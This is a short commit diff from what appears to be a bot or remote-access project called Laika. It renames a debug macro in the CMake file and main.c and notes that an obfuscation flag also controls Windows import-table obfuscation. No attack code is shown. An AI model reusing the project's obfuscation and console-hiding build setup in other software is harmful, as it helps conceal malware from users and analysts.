minor 'DEBUG' refactoring

- for debug builds, the LAIKA_DEBUG_BUILD macro will be defined in lconfig.h
- LAIKA_OBFUSCATE now controls the winobf IAT obfuscation as well

bot/CMakeLists.txt

@@ -30,9 +30,6 @@ if(LAIKA_OBFUSCATE)
     add_dependencies(LaikaBot VMBoxGen)
 endif ()
 
-# add the 'DEBUG' preprocessor definition if we're compiling as Debug
-target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
-
 # add include directory
 target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})
 

bot/src/main.c

@@ -10,7 +10,7 @@
 #include <stdio.h>
 
 #ifdef _WIN32
-#    ifndef DEBUG
+#    ifndef LAIKA_DEBUG_BUILD
 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
 {
 #    else